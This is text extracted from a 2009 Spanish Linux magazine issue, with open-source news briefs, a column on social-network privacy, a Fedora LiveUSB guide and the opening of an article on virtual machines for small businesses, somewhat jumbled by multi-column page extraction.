Red Hat, Dell y HP demandadas por una patente en JBossOtra compañía que vuelve a las andadas. En este caso se trata de Software Tree LLC, que demanda a Red Hat, Dell, HP y a Genuitec debido a que, supuestamente, el middleware de JBoss infringe una patente suya en el intercambio de datos y coman- dos entre sistemas orientados a objetos y sistemas relacionales. Acojonante. Red Hat es demandada como propietaria del conocido servidor de código libre, mientras que las otras compañías son demandadas por vender software basado en JBoss o por incluirlo en sus productos. Casualmente la compañía es partner de Microsoft. http://barrapunto.com/articles/09/03/05/0751210.shtml

La Linux Foundation se hace cargo de Linux.comFinalmente prevaleció la sensatez y la Linux Foundation será quien se haga cargo del abandonado dominio de Linux.com. Ese sitio muestra ahora el anuncio de su inevitable relanzamiento prometiendo su intención de convertirse en la fuente cen-tral de información sobre Linux. Pero hay un truco para cristalizar esa afirmación, debemos hacerla nosotros: Mientras que la Linux Foundation proveerá el foro colabo-rativo, esperamos que Uds. -los verdaderos expertos de Linux- provean el contenido.Y para comenzar a recibir esa colaboración montaron un IdeaForge donde todos pueden comenzar a dejar sus ideas y sugerencias.http://www.vivalinux.com.ar/eventos/linux.com-segun-linux-foundation

KDE 4.2.1Poco más de un mes después del lanza-miento de KDE 4.2 nos llega su primera obligada actualización de mantenimiento. KDE 4.2.1 Cream fue anunciado y es ahora la versión recomendada para todos los usua-rios. Esta actualización estabiliza la anterior v4.2.0 aún más y no incorpora ninguna nueva característica entre sus novedades, pero sí mejoras que involucran a Okular, su visor de documentos, Kopete y KMail.Todos los usuarios que prueben esta nueva versión con el también recientemente lanzado Qt 4.5 son invitados a reportar cualquier problema en bugs.kde.org.http://www.kde.org/announcements/announce-4.2.1.php

MSI Winki, la vía rápida a Internet con LinuxEl productor mundial de placas madre

y tarjetas gráficas, MSI International, siempre se ha dedicado no sólo a la producción de buenos productos, sino también al desarrollo de cualquier avance que aumente la convenien-cia y facilidad de uso de sus clientes. Esta vez, MSI ha anunciado oficialmente la creación de un nuevo dispositivo interactivo en Internet que no necesita de un sistema operativo instalado en el PC - llamado Winki. Es un pequeño disposi-tivo con una gran variedad de funciones: nave-gación web, comunicación inmediata, llamadas por VOIP, búsqueda de fotos y algunas otras funciones más comunes. Todo es accesible al iniciar Winki y en un instante el mundo en línea está al alcance del usuario.

Winki tiene como base a Linux, pero gra-cias a los investigadores de MSI, este nuevo dispositivo de Internet revolucionará lo que la mayoría de las personas piensan de Linux. Todas las instalaciones y la configuración han sido simplificadas y hecho más sencillas, me-diante una simple conexión USB integrada en la placa madre y unos pocos ajustes al siste-ma, se puede comenzar a tomar ventaja de esta pequeña y cómoda herramienta. Con soporte para 15 idiomas, este dispositivo se adapta a cualquier usuario en el mundo. Sin embargo, las principales características de Winki al compararlo con otros sistemas operativos son: la rápida velocidad de arranque, un menor consumo eléctrico, sin problemas causados por virus, y lo mejor de todo, no costará un centavo a los usuarios.

Por cierto, Winki optimiza su funcionali- dad agrupando un potente conjunto de solucio-

nes software. Esta suite incluye Mozilla Firefox encargado de la navegación por la web, Skype se encargará de VOIP para llamadas de teléfo-no, y así otras aplicaciones comunes de modo que los usuarios no tendrán que pasar mucho tiempo aprendiendo nuevos programas. Tam-bién se debe mencionar la inclusión de Pidgin para la mensajería instantánea (IM), un soft-ware que soporta hasta 15 diferentes tipos de cuentas de mensajería instantánea al mismo tiempo. No importa qué tipo de cuenta tengan los contactos, con este programa el usuario podrá estar seguro que estará en contacto con todos ellos.

MSI afirma que incluirá a Winki en la ma-yoría de sus placas madres cuando el momento sea el correcto, y si hacen lo mismo con futuras versiones de su Winki, ya van a tener a un buen grupo de potenciales clientes a la puerta.http://global.msi.com.tw/index.php?func= newsdesc&news_no=737

Winki tiene como base a Linux, pero gracias a los investigadores de MSI, este nuevo dispositivo de Internet revolucionará lo que la mayoría de las personas piensan de Linux

El mundo se acaba… y no hay quien lo pareHace poco tuve la oportunidad de asistir a

una charla sobre seguridad informática en la que se nos contaron todos los peligros de las redes sociales para los adolescentes. Y para los adultos por supuesto. El uso de Tuenti, Facebook o Linkedin, según expuso el ponente, no es más

que un medio de exponer nuestros datos y de-jarlos al alcance de cualquier persona que quiera perjudicarnos. Básicamente, se nos dijo, es una locura para nuestra intimidad. Bueno, si él lo di-jo, será cierto, por algo es un gran experto y por eso fue invitado. Pero yo no lo veo así.

porque el era un fan que había creado un wiki para traducir nuestro juego en una gran canti-dad de lengujes. Quedamos sorprendidos - las traducciones de nuestra comunidad eran de una calidad superior a las que recibimos de servicios de traducción pagados. Los aportes fueron tan buenos y rápidos, que decidimos usar la traduc-ción de la comunidad para nuestro release euro-

peo de la versión de Wii. Incluso nos ayudaron a hacer el beta test de cada lenguaje. World of Goo está disponible para descarga desde el sitio de 2D Boy en sus versiones de Windows, Mac y Linux, tanto el demo como la versión completa, y para Nintendo Wii se encuentra a través de WiiWare.http://www.fayerwayer.com/2009/02/world-of-goo-en-el-mundo-de-tux/

Page 14: Linux_05_2009_ES

14 Linux+ 5/2009

NEWS novedadessección llevada por Alex Sandoval [email protected]

FLISOL 2009El Festival Latinoamericano de Instalación de Software Libre (FLISoL) es el evento de difusión de Software Libre más grande en Latinoamérica. Se realiza desde el año 2005 y su principal objetivo es promover el uso del software libre, dando a conocer al pú-blico en general su filosofía, alcances, avan-ces y desarrollo. Para tal fin, las diversas comunidades locales de software libre (en cada país, en cada ciudad/localidad), orga-nizan simultáneamente eventos en los que se instala, de manera gratuita y totalmente legal, software libre en los computadores que llevan los asistentes. Además, en forma paralela, se ofrecen charlas, ponencias y talleres sobre temáticas locales, naciona-les y latinoamericanas en torno al Software Libre, en toda su gama de expresiones: artística, académica, empresarial y social.Este año se realizará el sábado 25 de Abril de 2009. El evento está dirigido a todo tipo de público: estudiantes, académicos, empre-sarios, trabajadores, funcionarios públicos, entusiastas y aún personas que no poseen mucho conocimiento informático. Asiste en tu Ciudad! La entrada es libre y gratuita.http://microteknologias.wordpress.com/2009/03/01/flisol-2009/

GNOME 2.26 RCCumpliendo a rajatablas su propio calen-dario, el proyecto GNOME liberó hoy con este anuncio el primer Release Candidate (RC), y el único si todo sale según lo pla-neado, de la próxima versión 2.26 de su escritorio para sistemas tipo Unix. La ver-sión definitiva de GNOME 2.26 está ahora a sólo 2 semanas de distancia.Este RC es un snapshot congelado del esta-do actual del desarrollo de GNOME (con la numeración de v2.25.92) disponible para el escrutinio de todos antes de la versión final del próximo 18 de Marzo.http://permalink.gmane.org/gmane.comp.gnome.devel.announce/10

Publicados Qt 4.5.0 y Creator 1.0.0Nokia, a través de su grupo Qt Software, ha anunciado hoy la disponibilidad de Qt 4.5.0 y Qt Creator 1.0.0. Qt es un conjunto de bibliotecas y herramientas para crear aplica-ciones multiplataforma (en la que se basa, por ejemplo, KDE o VLC), y Qt Creator es un IDE para C++. Esta es la primera vez en que Qt será publicado como LGPL (tam-bién Qt Creator), pero también se incluyen muchas novedades importantes, como la inclusión de motores de renderizado inter-cambiables, el añadido de un SDK, mejoras de rendimiento, actualización de la versión de WebKit incluida (con soporte de plugins de Netscape para soportar Flash), soporte de ODF, y algunas cosas más. También se ha anunciado que no se publicarán más versiones de Qt Extended (un conjunto de software para móviles usando Qt.http://www.qtsoftware.com/about/news/nokia-releases-new-qt-developer-offerings-to-increase-productivity-and-performance

Neurowork organiza la 7ma WhyFLOSS ConferenceNeurowork organiza la 7ª edición de la

WhyFLOSS Conference, un importante evento internacional de divulgación de tecno-logías abiertas de IT a desarrollarse el próximo 21 de Mayo en la Universidad Carlos III de Madrid, Campus de Leganés, Madrid, España. En este evento organizado por Neurowork par- ticiparon en anteriores ediciones empresas como SUN, Red Hat, OpenBravo, IBM, Alfresco, An- dago, SIA, Liferay, Opentia, Monolabs, Accentu-re, Avanzada7, empresas públicas, Ministerios de Planeamiento, Turismo, Ayuntamientos, universi-dades como la UPM y la URJC y comunidades de proyectos como LibreSoft, OpenSolaris, Funda-ción de I+D de Software Libre (Fidesol) o FFII entre otros. Se presentarán conferencias variadas entorno a las tecnologías abiertas de IT separados por diferentes ejes temáticos en la que expertos del mundo empresarial darán su experiencia en

distintos casos de éxito entorno a las últimas ten-dencias y modelos de negocio en torno a Software Libre. Para ello ponentes de reconocido prestigio y empresas como instituciones públican darán su experiencia en esta nueva edición de la Why- FLOSS Conference, generando ciclos de discu- sióny favoreciendo el crecimiento de negocio en torno a estas tecnologías. Para su participación se ha abierto el Call for papers en el que se pue- den registrar ponencias acerca de las últimas tecnologías y casos de éxito sobre Software Lib- re en: http://www.whyfloss.com/es/conference/madrid09/paper. Luego se ha abierto la inscrip-ción al evento en: http://www.whyfloss.com/es/conference/madrid09/register.

Para mayor información sobre las formas de apoyar con su empresa u organización visi- te la web: http://www.whyfloss.com/es/confe- rence/madrid09sponsor.

Lo único que puede conseguir cualquier red social es velocidad. Sí, así de claro, ve-locidad. Podemos imaginarnos esa misma charla impartida sobre el peligro que repre-sentaría, a principio del S. XX, la aparición de sistemas para reproducción de fotografías en los periódicos.

Cualquier ciudadano podría ser retratado y aparecería en los periódicos, suponiendo una clara violación de su intimidad. Y lo que es peor, muchos querrían aparecer en esas foto-grafías, quedando para la eternidad en las he- merotecas.

Y lo que es peor, cualquier ciudadano que tuviera un pleito con la justicia, verá su nombre reflejado en los Boletines Oficiales, en donde se podría localizar sus faltas, incluso hayan sido ya expiadas o simplemente hubie-ra sido exculpado: las actas de los tribunales están en muchos sitios publicadas (¡cientos de miles de ejemplares del BOE!) y cualquiera con un poco de curiosidad podría encontrar el nombre de un ciudadano para hacer mofa y befa de él.

¿Qué diferencia esto de una red social del año 2009? Que para encontrar un nombre tardaríamos mucho tiempo, seguramente más del que nuestra paciencia pueda aguantar. Pe-ro ahí están. En el Archivo Histórico Nacional se pueden encontrar infinidad de datos que ha-rían sonrojar a muchos. Pero hay que buscar-los sin Google, y sin nadie vivo que nos pueda

dar una referencia acerca del pleito que un ciudadano de Tordesillas tuvo por unas tierras en Dios sabe dónde.

La intimidad (aunque ahora queda más 2.0 llamarla privacidad) siempre ha sido un problema de cada persona, y no de los sitios donde está guardada nuestra información. Si nosotros indicamos que hemos estudiado en determinado colegio, instituto o universidad, ese dato se volverá en contra nuestra si, por ejemplo, se demuestra que en esos sitios ha habido compra de resultados académicos.

Pero bastaría con revisar los expedientes en papel para encontrar unos nombres que vio-len nuestra intimidad. ¿Diferencia? La velo- cidad. Simplemente eso.

Así que no nos asustemos en exceso. La intimidad de las personas es exactamente la misma que hace unos años. Simplemente, tenemos sistemas más rápidos para acceder a los datos, no es que haya más peligro. Si hoy en día se asusta a las adolescentes por los co-mentarios que ponen en sus blogs, ¿Cuántas cuarentonas se sonrojarían por las cartas que enviaron en su día a la revista Vale? ¿Y cuán- tas sexagenarias con sus comentarios a Elena Francis?

Tranquilidad en las masas. El mundo no se va a acabar por tres post en un blog y por media docena de fotos. Se acabará más rápido, pero no antes.

Por: Ontinet.com (www.nod32-es.com)

Page 15: Linux_05_2009_ES

15www.lpmagazine.org

NEWS

sección llevada por Alex Sandoval [email protected]

novedadesNoticias

El gobierno alemán destina 500 millones de euros al Software LibreDespués de que el gobierno británico de-mostrara que el software libre es mejor para sus contribuyentes y, a partir de ahí, desa-rrollara un plan de acción para impulsarlo, otros gobiernos europeos parecen estar tomando nota y montando otros planes para apoyar el Software Libre. En concreto, el gobierno alemán acaba de decidir destinar 500 millones de euros al programa "Open Source and Green IT", un programa dedi-cado a la estabilidad y crecimiento de las herramientas de Software Libre, tecnologías "green" y soluciones de seguridad informá-tica para objetivos gubernamentales.De un total de 500 millones de euros, 300 han sido dispuestos inmediatamente para el proyecto y 200 están esperando hasta que las medidas concretas sean propuestas.

Estudiantes de la Unefa se capacitan en Software LibreUn total de 45 estudiantes de las carreras de Ingeniería de Sistemas y Comunicaciones Electrónicas de la Universidad Nacional Ex-perimental de la Fuerza Armada Bolivariana (Unefa) inició el taller de Facilitadores Co-munitarios en Software Libre, como parte de las actividades de cooperación que adelanta el Centro Nacional de Tecnologías de Infor-mación (CNTI) con esa casa de estudios.El objetivo del curso es brindar asesoría y proporcionar orientación sobre la manera de impartir una clase o cómo abordar a la comunidad. El taller se enmarca en el pro-grama de Servicio Comunitario, establecido como requisito del programa de estudios de la Unefa.

Diraya, fiasco a la andaluza con MicrosoftResulta cuando menos paradójico que cuando

la Junta de Andalucía cuenta con una dis-tribución GNU/Linux propia, que acaba de sacar su versión a la que se denomina Guadalinex V5, además de ser una de las mejor valoradas en el mundillo de los usuarios de nuestro querido siste-ma operativo, llega hasta nuestros oídos la noticia de que se ha gastado 60.000.000 € (sesenta millo-nes de euros) en una aplicación web desde 2005 y que acaban de enviar a la basura porque no fun-ciona, sin embargo no por que lo hayan invertido en Guadalinex. Cuando nos informamos un poco del asunto ya vamos viendo por donde van los tiros y nos llevamos la sorpresa. Podía leerse en 2005 en las páginas de Microsoft que Diraya re-voluciona la gestión sanitaria: ...La columna ver-tebral de Diraya es la tecnología Microsoft. La solución presenta una arquitectura centralizada para los establecimientos de atención primaria, de modo que los profesionales acceden a las apli-caciones vía Microsoft Terminal Services y Citrix Metaframe (...) Los consultores de este área definieron, junto al SAS y los socios del proyecto (Indra, Fujitsu y Accenture), tres líneas de actua-ción para responder a las necesidades presentes y futuras de Diraya. El objetivo era triple: resol-ver los problemas que habían surgido, evitar que se repitieran en el futuro y mejorar el uso de los productos y las tecnologías de Microsoft... Cuan-do pensamos en un proyecto de esta envergadura

nos imaginamos que la administración coge a un grupo de ingenieros y los pone a cavilar en serio sobre las mejores tecnologías para soportar el sistema, las necesidades del mismo, entrevistarse con los que realmente los van a usar y todo lo que se necesita para que sea realmente útil. Pero la gente que trabaja para la administración pública sabe que esto no es realmente así. Los contuber-nios de empresas que se asocian para no tener competencia y luego subcontratar a otras con personal que con mucho tienen una cualificación que habría que verificar y así tener más beneficios si cabe, son el pan nuestro de cada día. En fin lo que comentaba al principio sesenta millones de euros invertidos en una tecnología que no funcio-na como se puede leer en los periódicos, y po- siblemente no pasa nada... cabría preguntarse ¿Para qué invierten en Linux? Si luego por lo que se ve... a la hora de la verdad no confían en un sistema que se supone que impulsan o eso nos quieren hacer creer, porque la prueba la tenemos ahí, esos millones posiblemente si los hubieran invertido mediante la tecnología que soporta su sistema operativo hubieran sido menos... pero claro... eso ya no lo sabremos.

Hay otras administraciones que son conse-cuentes con sus postulados y usan el software que promocionan e impulsan, sin salirnos de España, pero eso... son consecuentes y aún más en periodos de crisis.

PUBLICIDAD

Page 16: Linux_05_2009_ES

novedadesUbuntu

16 Linux+ 5/2009

sección llevada por Francisco Javier Carazo Gil [email protected]

HP certificará UbuntuDe todas las grandes marcas de hardware del mundo actual, HP no ha sido la más rápida en incluir y dar soporte a Linux en el mundo de escritorio (hemos de decir que no ha sido la última...) aunque en el mundo de los servidores, lleva ya años ofreciéndolo. Entre las distribuciones que ofrece HP desde hace ya tiempo pode-mos incluir a Red Hat Enterprise Linux (RHEL), SUSE Linux Enterprise Server (SLES), Oracle Enterprise Linux e incluso Debian.La siguiente en apuntarse a esta lista es Ubuntu gracias a unas conversaciones lle-vadas a cabo por HP y Canonical, la distri-bución de los chicos de Mark Shuttleworth conseguirá una certificación completa para la línea de servidores Pro Liant que entre otras cosas asegurará un perfecto funciona-miento del hardware en sistemas Ubuntu.Otra gran marca más en una lista que prácti-camente cada mes actualizamos.

9.10, Karmic KoalaDisponible en Octubre de este año, como manda la costumbre y como no podía ser de otra forma con un nombre formado por dos palabras, un adjetivo y el nombre de un animal, que empiezan por la misma letra. En este caso le ha tocado el turno al Koala Kármico (supongo que karmic está relacionado con el karma y koala se escri-be igual en español).Somos un poco ansiosos esperando la próxima versión tan pronto, pero es bueno ir difundiendo el nombre para no dejar nunca de ver nuevas versiones alfa, beta y release candidatas.

Qimo, una distribución orientada a los más pequeñosPara terminar este mes os traemos una distribución de una temática inusual, aunque no por eso menos interesante, una distribución orientada a los niños. Como no podía ser de otra manera tratándose de esta sección, Qimo, que es así como se llama, está basada en Ubuntu. Incorpora GCompris, todo un clásico en el software libre educativo e infantil y además su interfaz gráfica además de llamativa e intuitiva está repleta de grandes iconos que le facilitan a los más pequeños sus primeros contactos con el ordenador.Otros títulos software que también incor-pora son: Childsplay, Etoys, TuxMath, TuxType y TuxPaint. Todos ellos tocan distintos aspectos de la educación de los más pequeños, desde las matemáticas hasta la mecanografía, pasando por el dibujo.Está orientado a niños de más de 3 años, pero mezclado con un netbook, aunque sea el más simple y barato del mercado, puede convertirse en un gran regalo para cualquier pequeño.En la red: http://www.qimo4kids.com/default.aspx

Ubuntu VS Windows 7Aún recuerdo los artículos que escribí cuan-

do Windows Vista salió al mercado. Por aquel entonces se comenzó a hablar por primera vez de un duelo entre Windows Vista y Ubuntu. Hablamos del año 2007, a mediados más o me-nos, por lo que las versiones de Ubuntu más re-cientes eran la 7.04, Feisty Fawn y la 7.10, Gutsy Gibbon. Al mismo tiempo toda la Comunidad de Software Libre emprendió una campaña para desprestigiar, con mayor o menor razón en al- gunos casos, a Windows Vista. El título de la campaña era Bad Vista y posiblemente muchos la recordéis si eráis asiduos de los portales y blogs centrados en este tema.

El tiempo pasó y no podemos hablar de que Ubuntu ganara el duelo pero lo que sí po-demos afirmar es que Windows Vista ha sido un completo fracaso para los chicos de Redmond. Digo que Ubuntu no ganó el duelo claramente, porque aunque sí que en este período de tiempo ha subido enormeme en parte gracias a Windows Vista, todavía no tiene una cuota de usuarios lo suficientemente grande como para realizar esta afirmación.

Lo que sí está claro es que Vista ha sido una decepción para muchos de los fans de Microsoft y para la compañía en sí. No ya sólo por el bajo nivel de implantación que está consiguiendo en los años que lleva en el mercado sino porque su llegada provocó un renacer de Windows XP. Aunque parezca mentira, el sistema operativo de Microsoft que liberaron en 2001, hace ocho años que se dice pronto, volvió a ser protagonista porque muchos usuarios lo preferían antes que al recién llegado Vista.

Podemos criticarle muchas cosas a Vista, la primera la gran cantidad de recursos que necesita para llevar a cabo unas tareas, como los efectos visuales con Aero, muy por encima de aplicacio-nes similares como CompizFusion. Podemos seguir contando más detalles, pero según mi opi-nión, aparte de una estética renovada, que creo que al menos en el tema estético sí acertaron, el resto es prácticamente como XP pero con más dificultades. Un usuario si cambia de sistema operativo procura que el nuevo le reporte más ventajas y facilidades que el anterior, y no lo que ha sucedido con Vista. Además, tenía un coste económico considerable, por lo que hacía más fácil su rechazo.

Lo que ya no es algo subjetivo u opinado por muchos sino un dato más bien, es que a Windo-ws XP se le ha prolongado el soporte y además sigue estando a la venta. Aparte, las cifras no en- gañan y a pesar del maquillaje que suponen las

ventas de equipos con Vista preinstalado con licencia OEM, no son ni mucho menos las es-peradas por la compañía. El último síntoma ob-jetivo es el rapidísimo desarrollo del futuro (o no ya tan futuro) Windows 7, que apenas dos años después, está en la portada de muchas revistas y con betas ya disponibles en la red.

Aunque posiblemente a muchos de vosotros no os interese mucho Windows 7, comentaros que Microsoft ha intentado borrar el mal nombre que ha dejado Vista en los usuarios y se ha esfor-zado en un sistema que a todos gustará más que su predecesor. No se trata de una versión remoza-da sino de un desarrollo llevado a cabo desde la base para conseguir un sistema totalmente nuevo que según comentan, asegura compatibilidad con aplicaciones y controladores (esto último habrá que verlo) con las versiones anteriores de Win- dows. El propio fundador de Canonical y Ubun-tu, Mark Shuttleworth ha anunciado la buena impresión que le ha causado y no son pocas las voces dentro del Software Libre que han hablado de Windows 7 como un paso adelante en calidad. Sin embargo, no hay que preocuparse ni llegar a pensar en deserciones sino pensar que una competencia digna mejorará aún más el produc-to de Canonical y de la Comunidad.

La versión, o más bien versiones, de Ubuntu encargada de hacer frente a este nuevo enemigo serán si no se retrasa el lanzamiento Jaunty Jackalope, la versión 9.04, y Karmic Koala, la 9.10 de la que hablamos al lado. Este duelo será mucho más interesante. El rival a batir ha sabido jugar sus cartas y está preparado para ofrecer más batalla de la que ofreció su predecesor y la fama conseguida por Ubuntu en estos dos años ha conseguido que estemos cerca de hablar de un aunténtico duelo. En un campo como el de los netbooks, de los que hemos hablado en varias ocasiones en esta misma sección los últimos me-ses, Microsoft se siente herido porque la cuota de mercado conseguida por Linux en equipos vendidos en las tiendas, ha superado todas las expectativas. No nos referimos a usuarios que posteriormente instalan Linux en el equipo, sino que lo compran directamente en la tienda con él preinstalado. Es un gran logro primero por parte de los usuarios, que se sienten cada vez más có-modos con él y por otro por parte de las marcas de hardware que ven viable económicamente lanzar portátiles con distintas distribuciones GNU/Linux preinstalado. Aparte Windows Vista nunca llegó a entrar en este mercado y delegó en Windows XP ya que los requisitos hardware eran excesivos para los pequeños netbooks.

Page 17: Linux_05_2009_ES

novedadesFedora

17www.lpmagazine.org

sección llevada por Diego Rivero Montes [email protected]

YUM, planes para la transición a la arquitectura i686 de Fedora 12Parece ser que en el seno de Fedora se ha empezado la discusión sobre la convenien-cia de la transición a la arquitectura i686 de los paquetes base. Ahora que Fedora 11 x86 32bits va a estar basado en paquetes i586 en lugar de los i386, lo que realmente se está discutiendo en sí es la denomi-nación a dar a los repositorios, si bien sería un poco confuso denominarlos i386 cuando en realidad nos estamos refiriendo a i586, evidentemente es poco apropiado para la oferta x86. De todos modos lo que parece seguro es que Fedora 12 será i686.

Fedora 10 RE-SPINSCon fecha 16 de febrero vio la luz la nueva RE-SPINS, sobre la base de Fedora 10. El Re-Spins lanzado contiene en el DVD o CD de Fedora 10, todas las actualizacio-nes llevadas a cabo en la distribución hasta el día 10 de febrero.

Iniciando en 20 segundos20 Second Startup, o como se puede leer en sitios de internet de 0 a Fedora en 20 segundos. Así es, Leonidas, la nueva ver-sión de Fedora nos traerá un importante avance a la hora del arranque. El propósito es, según hemos podido averiguar, lograr un inicio en unos veinte segundos hasta la pantalla de conexión y ser lo más rápido posible tras el inicio de sesión (sesión Gnome) e igualmente que el apagado sea igual de rápido.

El coste de LinuxSegún un informe publicado por la “Linux Foundation” en el que mediante un estudio exhaustivo se examinan las circunstancias actuales y se pone de manifiesto que el coste que supondría generar y desarrollar el kernel de Linux desde cero en la actua-lidad llega a cifras abrumadoras. Pues sí, la cifra realmente llama la atención 1.400 millones de dólares (mil cuatrocientos millones) y eso únicamente hablando del kernel, ya que si lo que nos proponemos es crear una distribución completa como Fedora, la cifra se pondría en los 10.800 millones de dólares.

Xfce 4.6Dspués de dos años dedicados a su desa-rrollo por fin ha sido liberada la versión 4.6 de este entorno de escritorio. Xfce 4.6 presenta una serie de novedades en todos los aspectos y en especial una nueva configuración del backend, también nuevo administrador de configuración, igualmen-te ha sido renovado el administrador de sesiones y el mezclador de sonido y muchas mejoras desde la última versión candidata: http://www.xfce.org/.Por lo que se vislumbra será uno de los escritorios de elección para la nueva versión de Fedora ya que en la versión alfa de Leónidas fué incorporada ésta en versión beta.

Fedora 11 Games Spin

Aunque se encuentra aún en estado alfa, no se deja de trabajar en los Spin, y he aquí el

resultado de la versión 11 dedicada a juegos. Se ha trabajado mucho y se sigue trabajando para su puesta a punto y se llamará Fedora 11 Games Spin. Se trata de una modificación de la versión alfa de Fedora 11 en la que se pone énfasis en demostrar a propios y extraños, nuevos y anti-guos, usuarios de Fedora que en el mundo Linux también existe gente “GAMER”.

Como se expresa en la página de la versión http://fedoraproject.org/wiki/Games_Spin, don-de podemos encontrar todo sobre esta variante

de Fedora, está destinada al us live y para usar menos el Wine. Como sería imposible, por motivos de espacio, incluir todos los juegos en un DVD de Fedora, lo que se ha intentado es incluir los que a su juicio son los mejores juegos de los diferentes géneros. En la distro se incluyen todos los juegos con la premisa que deben ser reproducibles sin descargas de terceros es decir íntegramente jugables.

Lo ideal es descargarlo a través del torrent, la imagen que se puede descagar desde aquí http://spins.fedoraproject.org/torrents//Fedora-11-Alpha-i686-Live-Games.torrent pesa unos 4Gb.

Fedora Games

Un poco de bricolagePara todos aquellos amantes de llevar su dis-

tro a cuestas proponemos hoy un poco de bricolage linux. Nos hacemos eco del excelente trabajo que hicieron los componentes del equipo Fedora con la herramienta LiveUSB Creator ya que tiene muchas y buenas cualidades como el hecho de ser multiplataforma es decir que pode- mos hacerlo también desde el dichoso Window$ y también permite indicar el espacio que quer-mos dedicar para datos y demás sin complica-ciones y todo de la forma más visual. Y ahora a ver como hacemos para obtener una Fedora para llevar.

Desde windows XPLo primero que hay que hacer es ir a la página oficial que es ésta y descargarnos el fichero liveusb-creator-3.2.zip (10.6M): https://fedora hosted.org/liveusb-creator.

Después como es natural descomprimimos el ficherito y hacemos doble click en el fichero li-veusb-creator. Una vez hecho esto desde browse buscamos la imagen iso (si la hemos descargado) si no damos en Download Fedora y la descarga-

mos. Posteriormente localizamos nuestro dispo-sitivo en Target Device que debiera tener míni-mo 1GB y si tiene 2GB bastante mejor ya que Fedora nos ocupará unos 690 MB. Y por último Persistent Storage, en este apartado indicaremos el espacio que queremos dedicar a almacenar los cambios. Para un dispositivo de 1GB debería-mos poner 200 MB aproximadamente. Y ahora a crearlo, pulsar Create Live USB.

Desde Fedora LinuxDesde Fedora Linux en las versiones 9 y 10 lo tenemos mucho más fácil si cabe, en nuestro me-nú iremos a agregar/quitar software, buscamos liveusb-creator y hacemos que se instale pero si lo queremos hacer desde la línea de comandos con yum, únicamente tenemos que teclear como root yum install liveusb-creator.

Una vez instalada la aplicación, el resto del proceso es idéntico al mostrado para Window$ XP. Y listo ya tenemos nuestra distro para llevar puesta a todas partes y con la ventaja de ocu-par muy poquito espacio siendo totalmente funcional.

Page 18: Linux_05_2009_ES

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

18 Linux+ 5/2009

linux

@so

ftwar

e.co

m.p

l

Máquinas virtuales: Una alternativa para PYMESCon este artículo podrá aprender el concepto de máquina virtual, en qué se basan, su funcionamiento y cómo instalar, compilar y configurar su propia red a base de máquinas. El único requisito es disponer de un PC y ganas de aprender.

Daniel García

Para una correcta explicación de todo el entorno de pruebas es necesario instalar un sistema base en una máquina virtual. Por ello también se explica-rá, paso a paso, este proceso. El sistema a instalar

será la distribución GNU/Linux: Debian. Más adelante se detallan cualquier tipo de duda en cuanto a distribuciones o el porqué de la elección de dicha distribución.

¿A quién va dirigido el artículo?Aunque el artículo puede tener un uso generalizado de los usuarios, si usted necesita implantar un entorno de pruebas en una PYME y no dispone de mucho presupuesto, tiene sis- temas Linux corriendo en sus máquinas (aunque también funciona bajo otras plataformas, como Windows), es defen-sor del software libre o quiere exprimir al máximo el ren0 dimiento de sus servidores, encontrará sumamente útil este artículo.

El nivel del artículo comenzará siendo muy bajo. No se presupondrá ningún tipo de conocimiento previo por parte del lector, ni de máquinas virtuales ni Linux. Aunque aquellos profesionales que realmente podrían aprovechar, en mayor medida, todo lo que se expone, son los que necesitan

múltiples ordenadores para el desempeño de sus funciones. Por nombrar algunos:

• Desarrolladores: Cuando se desarrolla, sobre todo ser-vicios web, se suelen necesitar varios PC o servidores. Sería realmente útil simular todos estos PCs o redes en su ordenador. Sin necesidad de cualquier tipo de servicio externo. Una vez que todo estuviera probado y funcionando correctamente podría ser trasladado al servidor real. Como ejemplos podríamos poner: Ser-vidores web, gestores de bases de datos, sistemas de control de versiones, etcétera.

• Administradores de sistemas: Normalmente los admi-nistradores necesitan realizar numerosas pruebas cuando aparecen nuevos parches para las diferentes versiones de software que tengan instaladas. El instalar estos parches en máquinas que se encuentren en producción es muy arriesgado: El servicio podría dejar de funcionar. Por eso lo más recomendable es que se probará en una má-quina que sea una réplica de la que se quiere actualizar. Comprobado que todo funciona correctamente, entonces realizar las actualizaciones en la máquina real. Esto pue-

Page 19: Linux_05_2009_ES

soluciones para empresasMáquinas virtuales: Una alternativa para PYMES

19www.lpmagazine.org

de aplicarse también para cuando se desea añadir nuevo software.

• Administradores de redes: Administran-do una red media-grande surgen muchos problemas de mantenimiento. Cuando se desean hacer pruebas sobre un nuevo ser-vicio a instalar, probar el funcionamiento de un cortafuegos, simular clientes reales de la red, etc. O tenemos un gran número de PC o creamos máquinas virtuales que lo simulen.

• Administradores/Auditores de seguridad: Para la gente encargada de seguridad el concepto y uso de máquinas virtuales está a la orden del día, dado que tienen que probar infinidad de sistemas y simular todo tipo de situaciones. Seguramente este artículo les sepa a poco, pero por lo menos me gustaría enseñarles que existen alternativas al soft-ware que usan (normalmente comercial).

• Curiosos: También deberíamos de nombrar a todas esas personas que no se encuen-tran dentro de ninguno de los anteriores grupos, pero les gusta probar todo tipo de cosas. Sé de gente que ha rescatado sus viejos juegos de MS-DOS en máquinas virtuales. Otros que querían jugar a un juego de Linux en Windows (o viceversa). Muy útil para estudiantes que necesiten hacer prácticas con otros sistemas operati-vos y no deseen instalarlo en su ordenador. Se podrían nombrar infinidad de casos.

¿Qué debería saber?Para poder seguir satisfactoriamente todo el ar-tículo no hace falta tener prácticamente ningún conocimiento anterior sobre máquinas virtuales ni compilación de paquetes. Incluso el tener demasiados conocimientos sobre GNU/Linux no es necesario, puesto que se parte de la base que el usuario es totalmente nuevo en Linux. Para poder sacar un buen aprovechamiento al artículo sería suficiente con tener una Ubuntu/Kubuntu (o similares) instalada. Hago mención a esta distri-bución por su extremada sencillez. Sobre todo en lo que al proceso de instalación se refiere.

Organización de ideasSé, por experiencia, que cuando uno se adentra en un nuevo terreno todo suele ser bastante caótico. Los conceptos se entremezclan y en- revesan sin saber bien donde se sitúa cada co-sa. Por ese motivo hay un pequeño índice con lo pasos que se van a hacer para poder seguir de forma simple todos los contenidos y, lo más

importante, saber encuadrar todos los concep-tos en cada momento.

Índice de la primera parte

• Introducción a las máquinas virtuales:– ¿Qué es una máquina virtual?– ¿Porqué una máquina virtual?

Listado 1. Compilación e instalación del módulo de VirtualBox

# cd /usr/src/vboxdrv-2.0.4

(Compilamos e instalamos)

# sudo make && sudo make install

(Cargamos el módulo)

# modprobe vboxdrv

Listado 2. Instalación de todas las dependencias necesarias

